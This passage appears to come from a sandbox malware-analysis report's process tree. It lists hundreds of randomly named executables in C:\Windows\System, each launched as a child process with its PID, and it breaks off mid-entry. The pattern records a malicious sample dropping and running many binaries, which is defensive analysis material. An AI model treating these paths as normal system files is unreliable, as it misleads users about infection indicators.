- C:\Windows\System\CAkuHTJ.exe
  C:\Windows\System\CAkuHTJ.exe
  2⤵
  PID:6328
- C:\Windows\System\KlnBUau.exe
  C:\Windows\System\KlnBUau.exe
  2⤵
  PID:8220
- C:\Windows\System\NAUcaRK.exe
  C:\Windows\System\NAUcaRK.exe
  2⤵
  PID:8240
- C:\Windows\System\XxdWagW.exe
  C:\Windows\System\XxdWagW.exe
  2⤵
  PID:8264
- C:\Windows\System\veYtBbq.exe
  C:\Windows\System\veYtBbq.exe
  2⤵
  PID:8288
- C:\Windows\System\OuVSEOp.exe
  C:\Windows\System\OuVSEOp.exe
  2⤵
  PID:8312
- C:\Windows\System\erYiprO.exe
  C:\Windows\System\erYiprO.exe
  2⤵
  PID:8332
- C:\Windows\System\sutBImc.exe
  C:\Windows\System\sutBImc.exe
  2⤵
  PID:8372
- C:\Windows\System\pvHVLJP.exe
  C:\Windows\System\pvHVLJP.exe
  2⤵
  PID:8392
- C:\Windows\System\SXgOoSe.exe
  C:\Windows\System\SXgOoSe.exe
  2⤵
  PID:8416
- C:\Windows\System\lrJapFq.exe
  C:\Windows\System\lrJapFq.exe
  2⤵
  PID:8440
- C:\Windows\System\dwmeFGm.exe
  C:\Windows\System\dwmeFGm.exe
  2⤵
  PID:8464
- C:\Windows\System\ypIeAeM.exe
  C:\Windows\System\ypIeAeM.exe
  2⤵
  PID:8492
- C:\Windows\System\mBLCutG.exe
  C:\Windows\System\mBLCutG.exe
  2⤵
  PID:8516
- C:\Windows\System\QDsJylY.exe
  C:\Windows\System\QDsJylY.exe
  2⤵
  PID:8544
- C:\Windows\System\oKDeMgN.exe
  C:\Windows\System\oKDeMgN.exe
  2⤵
  PID:8568
- C:\Windows\System\hEeVgTy.exe
  C:\Windows\System\hEeVgTy.exe
  2⤵
  PID:8596
- C:\Windows\System\iVFLBHR.exe
  C:\Windows\System\iVFLBHR.exe
  2⤵
  PID:8616
- C:\Windows\System\BqWclHV.exe
  C:\Windows\System\BqWclHV.exe
  2⤵
  PID:8640
- C:\Windows\System\IhYuMjS.exe
  C:\Windows\System\IhYuMjS.exe
  2⤵
  PID:8672
- C:\Windows\System\mlDGsbF.exe
  C:\Windows\System\mlDGsbF.exe
  2⤵
  PID:8696
- C:\Windows\System\goiiHzG.exe
  C:\Windows\System\goiiHzG.exe
  2⤵
  PID:8716
- C:\Windows\System\AhpkhqF.exe
  C:\Windows\System\AhpkhqF.exe
  2⤵
  PID:8740
- C:\Windows\System\OyOFdrj.exe
  C:\Windows\System\OyOFdrj.exe
  2⤵
  PID:8760
- C:\Windows\System\zGucAsN.exe
  C:\Windows\System\zGucAsN.exe
  2⤵
  PID:8784
- C:\Windows\System\RQDJIUg.exe
  C:\Windows\System\RQDJIUg.exe
  2⤵
  PID:8808
- C:\Windows\System\AMkYXed.exe
  C:\Windows\System\AMkYXed.exe
  2⤵
  PID:8828
- C:\Windows\System\qWMUKQj.exe
  C:\Windows\System\qWMUKQj.exe
  2⤵
  PID:8852
- C:\Windows\System\CSfyyeJ.exe
  C:\Windows\System\CSfyyeJ.exe
  2⤵
  PID:8872
- C:\Windows\System\BCcUzCG.exe
  C:\Windows\System\BCcUzCG.exe
  2⤵
  PID:8896
- C:\Windows\System\dYAuNcK.exe
  C:\Windows\System\dYAuNcK.exe
  2⤵
  PID:8924
- C:\Windows\System\rwKVeGl.exe
  C:\Windows\System\rwKVeGl.exe
  2⤵
  PID:8956
- C:\Windows\System\uiwJXUA.exe
  C:\Windows\System\uiwJXUA.exe
  2⤵
  PID:8980
- C:\Windows\System\PfdBXVG.exe
  C:\Windows\System\PfdBXVG.exe
  2⤵
  PID:8996
- C:\Windows\System\YCvpHTm.exe
  C:\Windows\System\YCvpHTm.exe
  2⤵
  PID:9016
- C:\Windows\System\AJPjuHU.exe
  C:\Windows\System\AJPjuHU.exe
  2⤵
  PID:9040
- C:\Windows\System\tlbsrrd.exe
  C:\Windows\System\tlbsrrd.exe
  2⤵
  PID:9064
- C:\Windows\System\DjOtDZO.exe
  C:\Windows\System\DjOtDZO.exe
  2⤵
  PID:9092
- C:\Windows\System\sGvKniI.exe
  C:\Windows\System\sGvKniI.exe
  2⤵
  PID:9116
- C:\Windows\System\BQHxKqD.exe
  C:\Windows\System\BQHxKqD.exe
  2⤵
  PID:9144
- C:\Windows\System\QxhWdgv.exe
  C:\Windows\System\QxhWdgv.exe
  2⤵
  PID:9168
- C:\Windows\System\IdjiVvC.exe
  C:\Windows\System\IdjiVvC.exe
  2⤵
  PID:9192
- C:\Windows\System\TlcrAHE.exe
  C:\Windows\System\TlcrAHE.exe
  2⤵
  PID:9212
- C:\Windows\System\uRcEHaN.exe
  C:\Windows\System\uRcEHaN.exe
  2⤵
  PID:7516
- C:\Windows\System\fYEmBsd.exe
  C:\Windows\System\fYEmBsd.exe
  2⤵
  PID:7564
- C:\Windows\System\WfdFflo.exe
  C:\Windows\System\WfdFflo.exe
  2⤵
  PID:8096
- C:\Windows\System\sUZfNPv.exe
  C:\Windows\System\sUZfNPv.exe
  2⤵
  PID:7676
- C:\Windows\System\NvOqWda.exe
  C:\Windows\System\NvOqWda.exe
  2⤵
  PID:7704
- C:\Windows\System\sCKAFks.exe
  C:\Windows\System\sCKAFks.exe
  2⤵
  PID:7260
- C:\Windows\System\YwHtHXI.exe
  C:\Windows\System\YwHtHXI.exe
  2⤵
  PID:7312
- C:\Windows\System\SoFdFWp.exe
  C:\Windows\System\SoFdFWp.exe
  2⤵
  PID:7364
- C:\Windows\System\vaqjOHE.exe
  C:\Windows\System\vaqjOHE.exe
  2⤵
  PID:7192
- C:\Windows\System\tasgoxi.exe
  C:\Windows\System\tasgoxi.exe
  2⤵
  PID:7756
- C:\Windows\System\ylUsvqC.exe
  C:\Windows\System\ylUsvqC.exe
  2⤵
  PID:7820
- C:\Windows\System\GeQOEfH.exe
  C:\Windows\System\GeQOEfH.exe
  2⤵
  PID:7852
- C:\Windows\System\ggnKWow.exe
  C:\Windows\System\ggnKWow.exe
  2⤵
  PID:7904
- C:\Windows\System\EZjGqYP.exe
  C:\Windows\System\EZjGqYP.exe
  2⤵
  PID:7460
- C:\Windows\System\PDFLeCc.exe
  C:\Windows\System\PDFLeCc.exe
  2⤵
  PID:7956
- C:\Windows\System\pvdDMgY.exe
  C:\Windows\System\pvdDMgY.exe
  2⤵
  PID:8228
- C:\Windows\System\NfsjgZX.exe
  C:\Windows\System\NfsjgZX.exe
  2⤵
  PID:8796
- C:\Windows\System\FVegdUu.exe
  C:\Windows\System\FVegdUu.exe
  2⤵
  PID:8348
- C:\Windows\System\ZnYZFlp.exe
  C:\Windows\System\ZnYZFlp.exe
  2⤵
  PID:8140
- C:\Windows\System\luhYViN.exe
  C:\Windows\System\luhYViN.exe
  2⤵
  PID:8432
- C:\Windows\System\UqQkCQJ.exe
  C:\Windows\System\UqQkCQJ.exe
  2⤵
  PID:8504
- C:\Windows\System\WidlTuz.exe
  C:\Windows\System\WidlTuz.exe
  2⤵
  PID:7512
- C:\Windows\System\fvLWkKg.exe
  C:\Windows\System\fvLWkKg.exe
  2⤵
  PID:9240
- C:\Windows\System\TstHVjp.exe
  C:\Windows\System\TstHVjp.exe
  2⤵
  PID:9260
- C:\Windows\System\CBdUBQi.exe
  C:\Windows\System\CBdUBQi.exe
  2⤵
  PID:9280
- C:\Windows\System\GJJyqdp.exe
  C:\Windows\System\GJJyqdp.exe
  2⤵
  PID:9304
- C:\Windows\System\JapoyBc.exe
  C:\Windows\System\JapoyBc.exe
  2⤵
  PID:9328
- C:\Windows\System\JAuMfNl.exe
  C:\Windows\System\JAuMfNl.exe
  2⤵
  PID:9356
- C:\Windows\System\suuYhrJ.exe
  C:\Windows\System\suuYhrJ.exe
  2⤵
  PID:9380
- C:\Windows\System\sBxNLzZ.exe
  C:\Windows\System\sBxNLzZ.exe
  2⤵
  PID:9400
- C:\Windows\System\reIjKHw.exe
  C:\Windows\System\reIjKHw.exe
  2⤵
  PID:9424
- C:\Windows\System\zEKepVP.exe
  C:\Windows\System\zEKepVP.exe
  2⤵
  PID:9448
- C:\Windows\System\bhDignl.exe
  C:\Windows\System\bhDignl.exe
  2⤵
  PID:9472
- C:\Windows\System\fYjPksN.exe
  C:\Windows\System\fYjPksN.exe
  2⤵
  PID:9500
- C:\Windows\System\LDeonro.exe
  C:\Windows\System\LDeonro.exe
  2⤵
  PID:9524
- C:\Windows\System\QFRrJVZ.exe
  C:\Windows\System\QFRrJVZ.exe
  2⤵
  PID:9548
- C:\Windows\System\WByEbQS.exe
  C:\Windows\System\WByEbQS.exe
  2⤵
  PID:9592
- C:\Windows\System\vAVxQIc.exe
  C:\Windows\System\vAVxQIc.exe
  2⤵
  PID:9608
- C:\Windows\System\LOyucyv.exe
  C:\Windows\System\LOyucyv.exe
  2⤵
  PID:9632
- C:\Windows\System\diGPliF.exe
  C:\Windows\System\diGPliF.exe
  2⤵
  PID:9656
- C:\Windows\System\AhsCeXY.exe
  C:\Windows\System\AhsCeXY.exe
  2⤵
  PID:9684
- C:\Windows\System\gGDAjuS.exe
  C:\Windows\System\gGDAjuS.exe
  2⤵
  PID:9708
- C:\Windows\System\WNgNedx.exe
  C:\Windows\System\WNgNedx.exe
  2⤵
  PID:9724
- C:\Windows\System\qUXVMnW.exe
  C:\Windows\System\qUXVMnW.exe
  2⤵
  PID:9748
- C:\Windows\System\DwPhQLP.exe
  C:\Windows\System\DwPhQLP.exe
  2⤵
  PID:9772
- C:\Windows\System\tXbGCxE.exe
  C:\Windows\System\tXbGCxE.exe
  2⤵
  PID:9804
- C:\Windows\System\MWdslYu.exe
  C:\Windows\System\MWdslYu.exe
  2⤵
  PID:9820
- C:\Windows\System\LRbLHuy.exe
  C:\Windows\System\LRbLHuy.exe
  2⤵
  PID:9844
- C:\Windows\System\yibPGtM.exe
  C:\Windows\System\yibPGtM.exe
  2⤵
  PID:9872
- C:\Windows\System\cHjpRTa.exe
  C:\Windows\System\cHjpRTa.exe
  2⤵
  PID:9892
- C:\Windows\System\RwHcprm.exe
  C:\Windows\System\RwHcprm.exe
  2⤵
  PID:9924
- C:\Windows\System\DpsFluc.exe
  C:\Windows\System\DpsFluc.exe
  2⤵
  PID:9964
- C:\Windows\System\VwlbzQh.exe
  C:\Windows\System\VwlbzQh.exe
  2⤵
  PID:9992
- C:\Windows\System\Qnrlitu.exe
  C:\Windows\System\Qnrlitu.exe
  2⤵
  PID:10016
- C:\Windows\System\TktrzRJ.exe
  C:\Windows\System\TktrzRJ.exe
  2⤵
  PID:10036
- C:\Windows\System\FcLGiFV.exe
  C:\Windows\System\FcLGiFV.exe
  2⤵
  PID:10060
- C:\Windows\System\SPZZUyr.exe
  C:\Windows\System\SPZZUyr.exe
  2⤵
  PID:10084
- C:\Windows\System\ZdNpFjT.exe
  C:\Windows\System\ZdNpFjT.exe
  2⤵
  PID:10108
- C:\Windows\System\JltjYuZ.exe
  C:\Windows\System\JltjYuZ.exe
  2⤵
  PID:10136
- C:\Windows\System\byKieZA.exe
  C:\Windows\System\byKieZA.exe
  2⤵
  PID:10164
- C:\Windows\System\RqjlTDM.exe
  C:\Windows\System\RqjlTDM.exe
  2⤵
  PID:10184
- C:\Windows\System\DPfRWTb.exe
  C:\Windows\System\DPfRWTb.exe
  2⤵
  PID:10216
- C:\Windows\System\qldKBNq.exe
  C:\Windows\System\qldKBNq.exe
  2⤵
  PID:7244
- C:\Windows\System\FHfOmMM.exe
  C:\Windows\System\FHfOmMM.exe
  2⤵
  PID:8588
- C:\Windows\System\bGNvvFF.exe
  C:\Windows\System\bGNvvFF.exe
  2⤵
  PID:6848
- C:\Windows\System\vmbRxur.exe
  C:\Windows\System\vmbRxur.exe
  2⤵
  PID:7772
- C:\Windows\System\LtqJRfI.exe
  C:\Windows\System\LtqJRfI.exe
  2⤵
  PID:7940
- C:\Windows\System\fcNpDCU.exe
  C:\Windows\System\fcNpDCU.exe
  2⤵
  PID:8732
- C:\Windows\System\EOrnDXq.exe
  C:\Windows\System\EOrnDXq.exe
  2⤵
  PID:7868
- C:\Windows\System\lEcpdfK.exe
  C:\Windows\System\lEcpdfK.exe
  2⤵
  PID:6920
- C:\Windows\System\cMbRGmy.exe
  C:\Windows\System\cMbRGmy.exe
  2⤵
  PID:8920
- C:\Windows\System\SnlJdBZ.exe
  C:\Windows\System\SnlJdBZ.exe
  2⤵
  PID:9008
- C:\Windows\System\IPdQvLy.exe
  C:\Windows\System\IPdQvLy.exe
  2⤵
  PID:9104
- C:\Windows\System\QfqhEGK.exe
  C:\Windows\System\QfqhEGK.exe
  2⤵
  PID:7496
- C:\Windows\System\BxAAVqG.exe
  C:\Windows\System\BxAAVqG.exe
  2⤵
  PID:6808
- C:\Windows\System\VJDRNJm.exe
  C:\Windows\System\VJDRNJm.exe
  2⤵
  PID:9256
- C:\Windows\System\VtocdPp.exe
  C:\Windows\System\VtocdPp.exe
  2⤵
  PID:9348
- C:\Windows\System\CqNKlfV.exe
  C:\Windows\System\CqNKlfV.exe
  2⤵
  PID:9396
- C:\Windows\System\vRBReEp.exe
  C:\Windows\System\vRBReEp.exe
  2⤵
  PID:9444
- C:\Windows\System\WNppxmU.exe
  C:\Windows\System\WNppxmU.exe
  2⤵
  PID:7808
- C:\Windows\System\qnksBLp.exe
  C:\Windows\System\qnksBLp.exe
  2⤵
  PID:7892
- C:\Windows\System\RZZgANv.exe
  C:\Windows\System\RZZgANv.exe
  2⤵
  PID:10260
- C:\Windows\System\xQzvdzq.exe
  C:\Windows\System\xQzvdzq.exe
  2⤵
  PID:10284
- C:\Windows\System\NAfLdPr.exe
  C:\Windows\System\NAfLdPr.exe
  2⤵
  PID:10304
- C:\Windows\System\XPoqtRT.exe
  C:\Windows\System\XPoqtRT.exe
  2⤵
  PID:10340
- C:\Windows\System\OcXcVdA.exe
  C:\Windows\System\OcXcVdA.exe
  2⤵
  PID:10364
- C:\Windows\System\zrGVFCU.exe
  C:\Windows\System\zrGVFCU.exe
  2⤵
  PID:10392
- C:\Windows\System\LmBhIAl.exe
  C:\Windows\System\LmBhIAl.exe
  2⤵
  PID:10420
- C:\Windows\System\uFyuGao.exe
  C:\Windows\System\uFyuGao.exe
  2⤵
  PID:10440
- C:\Windows\System\rxMCCue.exe
  C:\Windows\System\rxMCCue.exe
  2⤵
  PID:10468
- C:\Windows\System\JxOXKtO.exe
  C:\Windows\System\JxOXKtO.exe
  2⤵
  PID:10496
- C:\Windows\System\lcWfHFf.exe
  C:\Windows\System\lcWfHFf.exe
  2⤵
  PID:10512
- C:\Windows\System\frSVNzf.exe
  C:\Windows\System\frSVNzf.exe
  2⤵
  PID:10540
- C:\Windows\System\TOwCiWe.exe
  C:\Windows\System\TOwCiWe.exe
  2⤵
  PID:10564
- C:\Windows\System\muriIjT.exe
  C:\Windows\System\muriIjT.exe
  2⤵
  PID:10588
- C:\Windows\System\znqpgkq.exe
  C:\Windows\System\znqpgkq.exe
  2⤵
  PID:10608
- C:\Windows\System\ACcbNWY.exe
  C:\Windows\System\ACcbNWY.exe
  2⤵
  PID:10628
- C:\Windows\System\qdWTEiw.exe
  C:\Windows\System\qdWTEiw.exe
  2⤵
  PID:10652
- C:\Windows\System\ExDbPyB.exe
  C:\Windows\System\ExDbPyB.exe
  2⤵
  PID:10676
- C:\Windows\System\czAtXmx.exe
  C:\Windows\System\czAtXmx.exe
  2⤵
  PID:10704
- C:\Windows\System\PGAkeAh.exe
  C:\Windows\System\PGAkeAh.exe
  2⤵
  PID:10728
- C:\Windows\System\NcyqTCm.exe
  C:\Windows\System\NcyqTCm.exe
  2⤵
  PID:10756
- C:\Windows\System\nRCvopS.exe
  C:\Windows\System\nRCvopS.exe
  2⤵
  PID:10780
- C:\Windows\System\cgdJxQq.exe
  C:\Windows\System\cgdJxQq.exe
  2⤵
  PID:10800
- C:\Windows\System\rEJoGtK.exe
  C:\Windows\System\rEJoGtK.exe
  2⤵
  PID:10820
- C:\Windows\System\QrKothN.exe
  C:\Windows\System\QrKothN.exe
  2⤵
  PID:10840
- C:\Windows\System\DbwFyYY.exe
  C:\Windows\System\DbwFyYY.exe
  2⤵
  PID:10864
- C:\Windows\System\FkuGhGO.exe
  C:\Windows\System\FkuGhGO.exe
  2⤵
  PID:10884
- C:\Windows\System\uzQTIqt.exe
  C:\Windows\System\uzQTIqt.exe
  2⤵
  PID:10904
- C:\Windows\System\fYytWhP.exe
  C:\Windows\System\fYytWhP.exe
  2⤵
  PID:10932
- C:\Windows\System\ZFvursV.exe
  C:\Windows\System\ZFvursV.exe
  2⤵
  PID:10956
- C:\Windows\System\IvZxnta.exe
  C:\Windows\System\IvZxnta.exe
  2⤵
  PID:10976
- C:\Windows\System\TpgKdoM.exe
  C:\Windows\System\TpgKdoM.exe
  2⤵
  PID:11000
- C:\Windows\System\AyCzUwY.exe
  C:\Windows\System\AyCzUwY.exe
  2⤵
  PID:11028
- C:\Windows\System\VVgFmOx.exe
  C:\Windows\System\VVgFmOx.exe
  2⤵
  PID:11048
- C:\Windows\System\BUZBvyZ.exe
  C:\Windows\System\BUZBvyZ.exe
  2⤵
  PID:11068
- C:\Windows\System\IiHMESb.exe
  C:\Windows\System\IiHMESb.exe
  2⤵
  PID:11096
- C:\Windows\System\SKEoATS.exe
  C:\Windows\System\SKEoATS.exe
  2⤵
  PID:11128
- C:\Windows\System\hnIMcZd.exe
  C:\Windows\System\hnIMcZd.exe
  2⤵
  PID:11152
- C:\Windows\System\JozxNiS.exe
  C:\Windows\System\JozxNiS.exe
  2⤵
  PID:11176
- C:\Windows\System\vUpbofd.exe
  C:\Windows\System\vUpbofd.exe
  2⤵
  PID:11200
- C:\Windows\System\HqygsKD.exe
  C:\Windows\System\HqygsKD.exe
  2⤵
  PID:11228
- C:\Windows\System\CygmcGS.exe
  C:\Windows\System\CygmcGS.exe
  2⤵
  PID:11248
- C:\Windows\System\zunMiBw.exe
  C:\Windows\System\zunMiBw.exe
  2⤵
  PID:8028
- C:\Windows\System\XanbjHb.exe
  C:\Windows\System\XanbjHb.exe
  2⤵
  PID:8756
- C:\Windows\System\CMjAuEK.exe
  C:\Windows\System\CMjAuEK.exe
  2⤵
  PID:9764
- C:\Windows\System\zRekVDb.exe
  C:\Windows\System\zRekVDb.exe
  2⤵
  PID:9796
- C:\Windows\System\KPIsgJK.exe
  C:\Windows\System\KPIsgJK.exe
  2⤵
  PID:8904
- C:\Windows\System\BGjepRF.exe
  C:\Windows\System\BGjepRF.exe
  2⤵
  PID:9916
- C:\Windows\System\JukyesO.exe
  C:\Windows\System\JukyesO.exe
  2⤵
  PID:8968
- C:\Windows\System\IXTWFoC.exe
  C:\Windows\System\IXTWFoC.exe
  2⤵
  PID:9060
- C:\Windows\System\lgWAgOw.exe
  C:\Windows\System\lgWAgOw.exe
  2⤵
  PID:9112
- C:\Windows\System\iwWqMpA.exe
  C:\Windows\System\iwWqMpA.exe
  2⤵
  PID:9188
- C:\Windows\System\VyHCDoc.exe
  C:\Windows\System\VyHCDoc.exe
  2⤵
  PID:10068
- C:\Windows\System\XZvwCNO.exe
  C:\Windows\System\XZvwCNO.exe
  2⤵
  PID:10172
- C:\Windows\System\AcTXdjj.exe
  C:\Windows\System\AcTXdjj.exe
  2⤵
  PID:10204
- C:\Windows\System\xkltijL.exe
  C:\Windows\System\xkltijL.exe
  2⤵
  PID:8944
- C:\Windows\System\JGPpBfs.exe
  C:\Windows\System\JGPpBfs.exe
  2⤵
  PID:7608
- C:\Windows\System\QsqUlII.exe
  C:\Windows\System\QsqUlII.exe
  2⤵
  PID:8424
- C:\Windows\System\fsnkTFP.exe
  C:\Windows\System\fsnkTFP.exe
  2⤵
  PID:6164
- C:\Windows\System\rXUwpDD.exe
  C:\Windows\System\rXUwpDD.exe
  2⤵
  PID:6448
- C:\Windows\System\cScoxLx.exe
  C:\Windows\System\cScoxLx.exe
  2⤵
  PID:9300
- C:\Windows\System\pZvjCef.exe
  C:\Windows\System\pZvjCef.exe
  2⤵
  PID:9340
- C:\Windows\System\EwdOnHi.exe
  C:\Windows\System\EwdOnHi.exe
  2⤵
  PID:8460
- C:\Windows\System\GeeFpLf.exe
  C:\Windows\System\GeeFpLf.exe
  2⤵
  PID:9252
- C:\Windows\System\ofEbYSF.exe
  C:\Windows\System\ofEbYSF.exe
  2⤵
  PID:7452
- C:\Windows\System\dNYWiKv.exe
  C:\Windows\System\dNYWiKv.exe
  2⤵
  PID:9508
- C:\Windows\System\iSjqKOb.exe
  C:\Windows\System\iSjqKOb.exe
  2⤵
  PID:8324
- C:\Windows\System\ISjasIv.exe
  C:\Windows\System\ISjasIv.exe
  2⤵
  PID:9604
- C:\Windows\System\DSHYuDc.exe
  C:\Windows\System\DSHYuDc.exe
  2⤵
  PID:10360
- C:\Windows\System\EhhkpGh.exe
  C:\Windows\System\EhhkpGh.exe
  2⤵
  PID:9692
- C:\Windows\System\SVBGXlW.exe
  C:\Windows\System\SVBGXlW.exe
  2⤵
  PID:3408
- C:\Windows\System\pERgiBy.exe
  C:\Windows\System\pERgiBy.exe
  2⤵
  PID:9972
- C:\Windows\System\hfjpLng.exe
  C:\Windows\System\hfjpLng.exe
  2⤵
  PID:10528
- C:\Windows\System\QAAKZnL.exe
  C:\Windows\System\QAAKZnL.exe
  2⤵
  PID:10012
- C:\Windows\System\owDnNuU.exe
  C:\Windows\System\owDnNuU.exe
  2⤵
  PID:10668
- C:\Windows\System\MBycxHb.exe
  C:\Windows\System\MBycxHb.exe
  2⤵
  PID:10044
- C:\Windows\System\usYXCYy.exe
  C:\Windows\System\usYXCYy.exe
  2⤵
  PID:10772
- C:\Windows\System\kXuIFvr.exe
  C:\Windows\System\kXuIFvr.exe
  2⤵
  PID:11268
- C:\Windows\System\JTRbYnC.exe
  C:\Windows\System\JTRbYnC.exe
  2⤵
  PID:11292
- C:\Windows\System\eafEYvd.exe
  C:\Windows\System\eafEYvd.exe
  2⤵
  PID:11316
- C:\Windows\System\HYDmJgz.exe
  C:\Windows\System\HYDmJgz.exe
  2⤵
  PID:11340
- C:\Windows\System\eTNegvl.exe
  C:\Windows\System\eTNegvl.exe
  2⤵
  PID:11360
- C:\Windows\System\RwkAjBl.exe
  C:\Windows\System\RwkAjBl.exe
  2⤵
  PID:11388
- C:\Windows\System\lglDpIC.exe
  C:\Windows\System\lglDpIC.exe
  2⤵
  PID:11416
- C:\Windows\System\zPULoiD.exe
  C:\Windows\System\zPULoiD.exe
  2⤵
  PID:11436
- C:\Windows\System\JtmPnsO.exe
  C:\Windows\System\JtmPnsO.exe
  2⤵
  PID:11460
- C:\Windows\System\RjTtSOB.exe
  C:\Windows\System\RjTtSOB.exe
  2⤵
  PID:11488
- C:\Windows\System\HfQCHZa.exe
  C:\Windows\System\HfQCHZa.exe
  2⤵
  PID:11516
- C:\Windows\System\vLpcoIG.exe
  C:\Windows\System\vLpcoIG.exe
  2⤵
  PID:11536
- C:\Windows\System\pgAhVgu.exe
  C:\Windows\System\pgAhVgu.exe
  2⤵
  PID:11556
- C:\Windows\System\gCKgNmd.exe
  C:\Windows\System\gCKgNmd.exe
  2⤵
  PID:11584
- C:\Windows\System\QocNTFH.exe
  C:\Windows\System\QocNTFH.exe
  2⤵
  PID:11608
- C:\Windows\System\pgiJYat.exe
  C:\Windows\System\pgiJYat.exe
  2⤵
  PID:11628
- C:\Windows\System\XCHLdEi.exe
  C:\Windows\System\XCHLdEi.exe
  2⤵
  PID:11656
- C:\Windows\System\Ezdhfga.exe
  C:\Windows\System\Ezdhfga.exe
  2⤵
  PID:11676
- C:\Windows\System\wtqpdYv.exe
  C:\Windows\System\wtqpdYv.exe
  2⤵
  PID:11696
- C:\Windows\System\GTUvrMD.exe
  C:\Windows\System\GTUvrMD.exe
  2⤵
  PID:11716
- C:\Windows\System\NWhjZfn.exe
  C:\Windows\System\NWhjZfn.exe
  2⤵
  PID:11740
- C:\Windows\System\nIbRQTZ.exe
  C:\Windows\System\nIbRQTZ.exe
  2⤵
  PID:11768
- C:\Windows\System\qCHkNkF.exe
  C:\Windows\System\qCHkNkF.exe
  2⤵
  PID:11792
- C:\Windows\System\ESmpfMq.exe
  C:\Windows\System\ESmpfMq.exe
  2⤵
  PID:11832
- C:\Windows\System\CYOAxdm.exe
  C:\Windows\System\CYOAxdm.exe
  2⤵
  PID:11860
- C:\Windows\System\qWCXcDw.exe
  C:\Windows\System\qWCXcDw.exe
  2⤵
  PID:11880
- C:\Windows\System\llmaHBb.exe
  C:\Windows\System\llmaHBb.exe
  2⤵
  PID:11904
- C:\Windows\System\vhKuOcT.exe
  C:\Windows\System\vhKuOcT.exe
  2⤵
  PID:11924
- C:\Windows\System\sDdlpzb.exe
  C:\Windows\System\sDdlpzb.exe
  2⤵
  PID:11952
- C:\Windows\System\SWoZhbb.exe
  C:\Windows\System\SWoZhbb.exe
  2⤵
  PID:11972
- C:\Windows\System\fwasMHX.exe
  C:\Windows\System\fwasMHX.exe
  2⤵
  PID:12000
- C:\Windows\System\JxQzDGP.exe
  C:\Windows\System\JxQzDGP.exe
  2⤵
  PID:12024
- C:\Windows\System\tsepthy.exe
  C:\Windows\System\tsepthy.exe
  2⤵
  PID:12044
- C:\Windows\System\tcBNyOw.exe
  C:\Windows\System\tcBNyOw.exe
  2⤵
  PID:12064
- C:\Windows\System\fCzqleU.exe
  C:\Windows\System\fCzqleU.exe
  2⤵
  PID:12092
- C:\Windows\System\BLxKmJL.exe
  C:\Windows\System\BLxKmJL.exe
  2⤵
  PID:12116
- C:\Windows\System\RViQUNI.exe
  C:\Windows\System\RViQUNI.exe
  2⤵
  PID:12132
- C:\Windows\System\rsZrjUD.exe
  C:\Windows\System\rsZrjUD.exe
  2⤵
  PID:12156
- C:\Windows\System\JHQYOyn.exe
  C:\Windows\System\JHQYOyn.exe
  2⤵
  PID:12184
- C:\Windows\System\dgPbjHI.exe
  C:\Windows\System\dgPbjHI.exe
  2⤵
  PID:12204
- C:\Windows\System\kESNJru.exe
  C:\Windows\System\kESNJru.exe
  2⤵
  PID:12224
- C:\Windows\System\kSlJqlW.exe
  C:\Windows\System\kSlJqlW.exe
  2⤵
  PID:12244
- C:\Windows\System\TFGkDin.exe
  C:\Windows\System\TFGkDin.exe
  2⤵
  PID:12272
- C:\Windows\System\lyzsxsT.exe
  C:\Windows\System\lyzsxsT.exe
  2⤵
  PID:8480
- C:\Windows\System\kbNkPAh.exe
  C:\Windows\System\kbNkPAh.exe
  2⤵
  PID:5232
- C:\Windows\System\SKrYXuw.exe
  C:\Windows\System\SKrYXuw.exe
  2⤵
  PID:8724
- C:\Windows\System\kXAOkhK.exe
  C:\Windows\System\kXAOkhK.exe
  2⤵
  PID:11120
- C:\Windows\System\uGwNIVp.exe
  C:\Windows\System\uGwNIVp.exe
  2⤵
  PID:9312
- C:\Windows\System\dbpXunq.exe
  C:\Windows\System\dbpXunq.exe
  2⤵
  PID:8300
- C:\Windows\System\ddfhFPJ.exe
  C:\Windows\System\ddfhFPJ.exe
  2⤵
  PID:8400
- C:\Windows\System\TRkLmrv.exe
  C:\Windows\System\TRkLmrv.exe
  2⤵
  PID:9392
- C:\Windows\System\ljtZPqt.exe
  C:\Windows\System\ljtZPqt.exe
  2⤵
  PID:9864
- C:\Windows\System\BOyODIS.exe
  C:\Windows\System\BOyODIS.exe
  2⤵
  PID:9368
- C:\Windows\System\qfoThGD.exe
  C:\Windows\System\qfoThGD.exe
  2⤵
  PID:10272
- C:\Windows\System\vuOpzcs.exe
  C:\Windows\System\vuOpzcs.exe
  2⤵
  PID:10312
- C:\Windows\System\XHbBIaD.exe
  C:\Windows\System\XHbBIaD.exe
  2⤵
  PID:10332
- C:\Windows\System\zMqxutf.exe
  C:\Windows\System\zMqxutf.exe
  2⤵
  PID:7100
- C:\Windows\System\CNjJGig.exe
  C:\Windows\System\CNjJGig.exe
  2⤵
  PID:6796
- C:\Windows\System\VPsIjGL.exe
  C:\Windows\System\VPsIjGL.exe
  2⤵
  PID:12292
- C:\Windows\System\ufVmXjH.exe
  C:\Windows\System\ufVmXjH.exe
  2⤵
  PID:12312
- C:\Windows\System\EHHNlPL.exe
  C:\Windows\System\EHHNlPL.exe
  2⤵
  PID:12332
- C:\Windows\System\EEFnskl.exe
  C:\Windows\System\EEFnskl.exe
  2⤵
  PID:12352
- C:\Windows\System\Xqsjqvj.exe
  C:\Windows\System\Xqsjqvj.exe
  2⤵
  PID:12372
- C:\Windows\System\NNyFALt.exe
  C:\Windows\System\NNyFALt.exe
  2⤵
  PID:12396
- C:\Windows\System\zzoJrqg.exe
  C:\Windows\System\zzoJrqg.exe
  2⤵
  PID:12420
- C:\Windows\System\JxHHIqb.exe
  C:\Windows\System\JxHHIqb.exe
  2⤵
  PID:12440
- C:\Windows\System\cGPqRBB.exe
  C:\Windows\System\cGPqRBB.exe
  2⤵
  PID:12464
- C:\Windows\System\zsDUZJI.exe
  C:\Windows\System\zsDUZJI.exe
  2⤵
  PID:12484
- C:\Windows\System\nBFukOk.exe
  C:\Windows\System\nBFukOk.exe
  2⤵
  PID:12508
- C:\Windows\System\JCtcpmr.exe
  C:\Windows\System\JCtcpmr.exe
  2⤵
  PID:12540
- C:\Windows\System\iABoFUL.exe
  C:\Windows\System\iABoFUL.exe
  2⤵
  PID:12560
- C:\Windows\System\irGxrXf.exe
  C:\Windows\System\irGxrXf.exe
  2⤵
  PID:12584
- C:\Windows\System\QjwevqP.exe
  C:\Windows\System\QjwevqP.exe
  2⤵
  PID:12608
- C:\Windows\System\oZsEqIM.exe
  C:\Windows\System\oZsEqIM.exe
  2⤵
  PID:12628
- C:\Windows\System\OKUIoeO.exe
  C:\Windows\System\OKUIoeO.exe
  2⤵
  PID:12648
- C:\Windows\System\fYuKSHr.exe
